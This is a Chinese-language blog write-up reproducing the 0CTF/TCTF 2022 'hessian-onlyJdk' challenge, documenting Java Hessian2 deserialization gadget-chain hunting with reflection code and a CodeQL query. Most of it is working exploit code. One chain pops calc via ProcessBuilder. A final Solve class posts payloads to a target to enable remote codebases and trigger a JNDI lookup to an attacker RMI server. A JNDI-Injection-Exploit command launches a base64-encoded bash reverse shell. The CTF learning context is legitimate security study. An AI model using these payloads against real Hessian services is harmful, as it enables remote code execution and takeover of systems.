0ctf/tctf 2022 hessian only jdk 复现和学习

麻了,一个比赛就看了一道题还做不动555

题目的环境和 write up

https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk

简单分析

路由简单粗暴的反序列化点

package com.ctf.hessian.onlyJdk;

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

public class Index {
  public static void main(String[] args) throws Exception {
    System.out.println("server start");
    HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
    server.createContext("/", new MyHandler());
    server.setExecutor(Executors.newCachedThreadPool());
    server.start();
  }
  
  static class MyHandler implements HttpHandler {
    public void handle(HttpExchange t) throws IOException {
      String response = "Welcome to 0CTF 2022!";
      InputStream is = t.getRequestBody();
      try {
        Hessian2Input input = new Hessian2Input(is);
        input.readObject();
      } catch (Exception e) {
        e.printStackTrace();
        response = "oops! something is wrong";
      } 
      t.sendResponseHeaders(200, response.length());
      OutputStream os = t.getResponseBody();
      os.write(response.getBytes());
      os.close();
    }
  }
}

然后是 jvmtiagent 指定的类。这里的坑点在于 jdgui 打开这个类不显示包名

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.sun.org.apache.xml.internal.security.utils;

public class JavaUtils {
    public JavaUtils() {
    }

    public static void hello() {
        System.out.println("hello");
    }

    public static void writeBytesToFilename(String var0, byte[] var1) {
        System.out.println("writeBytesToFilename");
    }
}

ok,这个类寄了

根据题目给了两个CVE,其中 CVE-2021-43297 可以调用任意共有类的toString属性

具体见

https://paper.seebug.org/1814/#_5

但是必须是Public的类

而CVE-2021-21346则是Xstream反序列化的链,具体见

https://m0d9.me/2021/05/10/XStream反序列化详解(二)/

会发现 Base64Data#toString 和 MultiUIDefaults#toString 都可以导致可以命令执行

失败的尝试 -- Base64Data

喜闻乐见的拼链子。上述文章有这么一段话

之前看到过jdk中其实有个toString的利用链:

javax.swing.MultiUIDefaults.toString
           UIDefaults.get
               UIDefaults.getFromHashTable
                   UIDefaults$LazyValue.createValue
                   SwingLazyValue.createValue
                       javax.naming.InitialContext.doLookup()
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"}));
Class<?> aClass = Class.forName("javax.swing.MultiUIDefaults");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(UIDefaults[].class);
declaredConstructor.setAccessible(true);
o = declaredConstructor.newInstance(new Object[]{new UIDefaults[]{uiDefaults}});

经过测试,发现没法使用:

  • javax.swing.MultiUIDefaults是peotect类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
  • 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功

所以我后来基本上一直在尝试 Base64Data 链。结果就这样和预期解失之交臂。

接下来把 http://tttang.com/archive/1699/#toc_1414 的Base64Data POC 还原成正常的代码

<map>
    <entry>
        <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                    <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                        <contentType>text/plain</contentType>
                        <is class='java.io.SequenceInputStream'>
                            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                                <iterator class='javax.imageio.spi.FilterIterator'>
                                    <iter class='java.util.ArrayList$Itr'>
                                        <cursor>0</cursor>
                                        <lastRet>-1</lastRet>
                                        <expectedModCount>1</expectedModCount>
                                        <outer-class>
                                            <java.lang.ProcessBuilder>
                                                <command>
                                                    <string>calc</string>
                                                </command>
                                            </java.lang.ProcessBuilder>
                                        </outer-class>
                                    </iter>
                                    <filter class='javax.imageio.ImageIO$ContainsFilter'>
                                        <method>
                                            <class>java.lang.ProcessBuilder</class>
                                            <name>start</name>
                                            <parameter-types/>
                                        </method>
                                        <name>start</name>
                                    </filter>
                                    <next/>
                                </iterator>
                                <type>KEYS</type>
                            </e>
                            <in class='java.io.ByteArrayInputStream'>
                                <buf></buf>
                                <pos>0</pos>
                                <mark>0</mark>
                                <count>0</count>
                            </in>
                        </is>
                        <consumed>false</consumed>
                    </dataSource>
                    <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
            </value>
        </jdk.nashorn.internal.objects.NativeString>
        <string>test</string>
    </entry>
</map>

还原后:

package test;

import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.swing.SwingLazyValue;
import java.security.*;
import java.io.SequenceInputStream;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;

//import static javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator.Type;

//import static javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator.Type.KEYS;


public class Main {
    public static void main(String[] args) throws Exception{
        ProcessBuilder processBuilder=new ProcessBuilder("calc");


        Object filter=obj("javax.imageio.ImageIO$ContainsFilter");
        setValue(filter,"method",Class.forName("java.lang.ProcessBuilder").getDeclaredMethod("start"));
        setValue(filter,"name","start");
        Iterator iter= (Iterator) obj("java.util.ArrayList$Itr");
//        setValue(iter,"this$0",processBuilder);
        setValue(iter,"cursor",0);
//        setValue(iter,"size",1,);
        setValue(iter,"lastRet",-1);
        setValue(iter,"expectedModCount",1);
        setValue(iter,"lastRet",-1);



        Iterator iterator= (Iterator) obj("javax.imageio.spi.FilterIterator");
        Field out=iter.getClass().getDeclaredField("this$0");
        out.setAccessible(true);
        ArrayList a=new ArrayList();
        a.add(processBuilder);
//        a.add(new ProcessBuilder("calc"));

        setValue(iter,"this$0",a);

        setValue(iterator,"iter",iter);
        setValue(iterator,"filter",filter);

        AbstractMap.SimpleEntry entry = new AbstractMap.SimpleEntry<>(obj("java.io.ByteArrayInputStream"), "one");
        setValue(iterator,"next",entry);

//        setValue(iterator,"next",1);
        Enumeration e= (Enumeration) obj("javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator");
        Class eClass=Class.forName("javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator");
        Field typeField=eClass.getDeclaredFields()[1];
        setValue(e,"type", typeField.getType().getEnumConstants()[0]);
        setValue(e,"iterator",iterator);
        ByteArrayInputStream ips= (ByteArrayInputStream) obj("java.io.ByteArrayInputStream");
        setValue(ips,"buf",new byte[0]);
        setValue(ips,"pos",0);
        setValue(ips,"mark",0);
        setValue(ips,"count",0);
        SequenceInputStream is= (SequenceInputStream) obj("java.io.SequenceInputStream");
        setValue(is,"e",e);
        setValue(is,"in",ips);
        DataSource dataSource= (DataSource) obj("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource");
        setValue(dataSource,"contentType","text/plain");
        setValue(dataSource,"is",is);
        setValue(dataSource,"consumed",false);
        DataHandler dataHandler=new DataHandler(dataSource);
        Base64Data data= (Base64Data) obj("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data");
        setValue(data,"dataHandler",dataHandler);
        setValue(data,"data",null);
//        data.toString();
        //        Base64Data data=getBase64Data();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
        hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
        hessianOutput1.writeString("aaa");
        hessianOutput1.writeObject(data);
        hessianOutput1.flushBuffer();
        byte[] b=byteArrayOutputStream.toByteArray();
//        System.out.println(Base64.getEncoder().encodeToString(b));
        deserialize(b);

    }

    public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(Class.forName(s));
    }
    public static <T> byte[] serialize(T o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(bao);
        output.getSerializerFactory().setAllowNonSerializable(true);
        output.writeObject(o);
        System.out.println(bao.toString());
        return bao.toByteArray();
    }
    public static <T> T deserialize(byte[] bytes) throws IOException {
        ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
        Hessian2Input input = new Hessian2Input(bai);
        Object o = input.readObject();
        return (T) o;
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void setValueByClassName(Object obj, String name, Object value,String className) throws Exception{
        Field field = Class.forName(className).getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
//            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }
}

由于我太菜了,写出这个感觉也够呛的,讲一两个遇到的坑点

反射修改外部类属性

触发链中会调用一个内部私有类的方法java.util.ArrayList$Itr#hasNext

private class Itr implements Iterator<E> {
        int cursor;       // index of next element to return
        int lastRet = -1; // index of last element returned; -1 if no such
        int expectedModCount = modCount;

        Itr() {}

        public boolean hasNext() {
            return cursor != size;
        }
}

其中size属性是外部类ArrayList的。如果这里不指定外部类的话会直接报错寄掉。来看看Xstream POC的写法

<iter class='java.util.ArrayList$Itr'>
  <cursor>0</cursor>
  <lastRet>-1</lastRet>
  <expectedModCount>1</expectedModCount>
  <outer-class>
    <java.lang.ProcessBuilder>
      <command>
        <string>calc</string>
      </command>
    </java.lang.ProcessBuilder>
  </outer-class>
</iter>

看不懂....555

调试+google半天发现反射获取到的java.util.ArrayList$Itr#hasNext fields有一个this$0指针,把它改成另外创建的ArrayList就好了

Field out=iter.getClass().getDeclaredField("this$0");
out.setAccessible(true);
ArrayList a=new ArrayList();
a.add(processBuilder);
setValue(iter,"this$0",a);

序列化时候的报错

在控制属性javax.imageio.spi.FilterIterator.next的时候我一开始是这样写的

setValue(iterator,"next",1);

这样的话序列化的时候直接开香槟

动调发现iterator.next()必须返回Map.Entry<K,V>

key还得是InputStream

所以改成了

AbstractMap.SimpleEntry entry = new AbstractMap.SimpleEntry<>(obj("java.io.ByteArrayInputStream"), "one");
setValue(iterator,"next",entry);

dataSource.is被掉包

把hessian的CVE拼上去

https://y4er.com/posts/wangdingbei-badbean-hessian2/

结果发现反序列化的时候dataSource.is被换成了Hessian2Input$ReadInputStream

感觉基本可以确定是hessian特性,寄

正解

改造 SwingLazyValue 链

回过头来看看SwingLazyValue这条链,发现其实这一部分是可以用的

UIDefaults.get
UIDefaults.getFromHashTable
UIDefaults$LazyValue.createValue
SwingLazyValue.createValue

只需要另外寻找xxx.toString -> HashTable.get 就可以把链子拼完

师傅们似乎都是用的自动化审计。所以这里用codeql复现一下

首先使用的库是

https://lgtm.com/projects/g/openjdk/jdk/?mode=list

这jdk版本鬼知道是哪一个,如果需要指定版本需要自己编译一遍JDK。本来想试试的,但是配个codeql环境浪费了我一整个下午的马原课,直接劝退了呜呜呜

然后改一下这篇文章的链子

https://tttang.com/archive/1511/

注意edge的定义,好像文章的作者并没有体现“上一个对象方法调用了自身属性的下一个方法”...? 稍微改一下

query predicate edges(Method a, Method b) { 
  a.polyCalls(b) 
  and
  a.getDeclaringType().getAField().getDeclaringType().hasName(b.getDeclaringType().getName())
 }

完整ql代码

/**
@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources

class ROMethod extends Method{
    ROMethod(){
        this.hasName("toString")
    }
}

class Source extends Callable {
    Source(){
        (
            this instanceof ROMethod
        )
    }
}

class GetMethod extends Method {
GetMethod(){
        this.hasName("get") and
        this.getDeclaringType().getAnAncestor().hasQualifiedName("java.util","Hashtable")
    }
}

class DangerousMethod extends Callable {
    DangerousMethod(){
        this instanceof GetMethod 
    }
}

class CallsDangerousMethod extends Callable {

    CallsDangerousMethod() {
        exists(Callable a| this.polyCalls(a) and 
        a instanceof DangerousMethod )
    }  
}  


query predicate edges(Method a, Method b) { 
    a.polyCalls(b) 
    and
    a.getDeclaringType().getAField().getDeclaringType().hasName(b.getDeclaringType().getName())
}

from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@" ,
source.getDeclaringType(),source.getDeclaringType().getName(),
source,source.getName(),
sink.getDeclaringType(),sink.getDeclaringType().getName(),
sink,sink.getName() 

成功跑出了这一个gadget

测试

SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:6666"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
Object o=obj("sun.security.pkcs.PKCS9Attributes");
setValue(o,"attributes",uiDefaults);
o.toString();

确实运行到了这里

可控类.可控方法(可控参数)

其实到这一步才是真正的难点。还记得吗,题目ban掉的com.sun.org.apache.xml.internal.security.utils.JavaUtils是可以任意文件写的。

我们要找到一个public static方法来导致RCE

这里官方的write up总结了几种方法

some interesting staic funtions

MethodUtils.invoke
0ctf-2022-soln-hessian-onlyjdk
System.setProperty + InitalContext.doLookup @福来阁
DumpBytecode.dumpBytecode + System.load @ty1310 @nese
com.sun.org.apache.xalan.internal.xslt.Process._main @福来阁 @Water Paddler
sun.tools.jar.Main.main
writeup @Cyku
System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm @StrawHat

Orz....

复现两个个人觉得用得比较通用的方法

System.setProperty + InitalContext.doLookup

典中典了,这也是文章中的方法。因为题目是高版本,如果要完成原生JDK RMI注入需要设置一下系统配置

RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。

  1. JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true
  2. JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false

本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:

System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

最先尝试marshalsec搭建的服务器,结果寄了。最后还是

https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md

打通了

起一个反弹shell的服务器

/home/www/htdocs/80/jdk1.8.0_212/bin/java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxxxxxxx}|{base64,-d}|{bash,-i}" -A "ip"

运行POC

package test;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
public class Solve {
    static final String targetUrl="http://192.168.238.165:8090/";
    public static void main(String[] args) throws Exception {
        exec("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
        exec("javax.naming.InitialContext","doLookup",new String[]{"rmi://xxxx:1099/4metkg"});
    }

    public static void exec(String className,String methodName,Object[] args) throws Exception{
        SwingLazyValue value= new SwingLazyValue(className, methodName, args);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
        Object o=obj("sun.security.pkcs.PKCS9Attributes");
        setValue(o,"attributes",uiDefaults);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
        hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
        hessianOutput1.writeString("aaa");
        hessianOutput1.writeObject(o);
        hessianOutput1.flushBuffer();
        byte[] b=byteArrayOutputStream.toByteArray();

        post(b);
    }
    public static void post(byte[] b) throws Exception{
        URL url=new URL(targetUrl);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();
        con.setRequestMethod("POST");
        con.setDoOutput(true);
        try(OutputStream os = con.getOutputStream()) {
            os.write(b);
        }


        BufferedReader in = new BufferedReader(
                new InputStreamReader(con.getInputStream()));
        String inputLine;
        StringBuffer content = new StringBuffer();
        while ((inputLine = in.readLine()) != null) {
            content.append(inputLine);
        }
        in.close();

        System.out.println(content.toString());
    }

    public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(Class.forName(s));
    }
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
//            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

其他方法待更新

posted @ 2022-09-21 20:23  KingBridge  阅读(898)  评论(1编辑  收藏  举报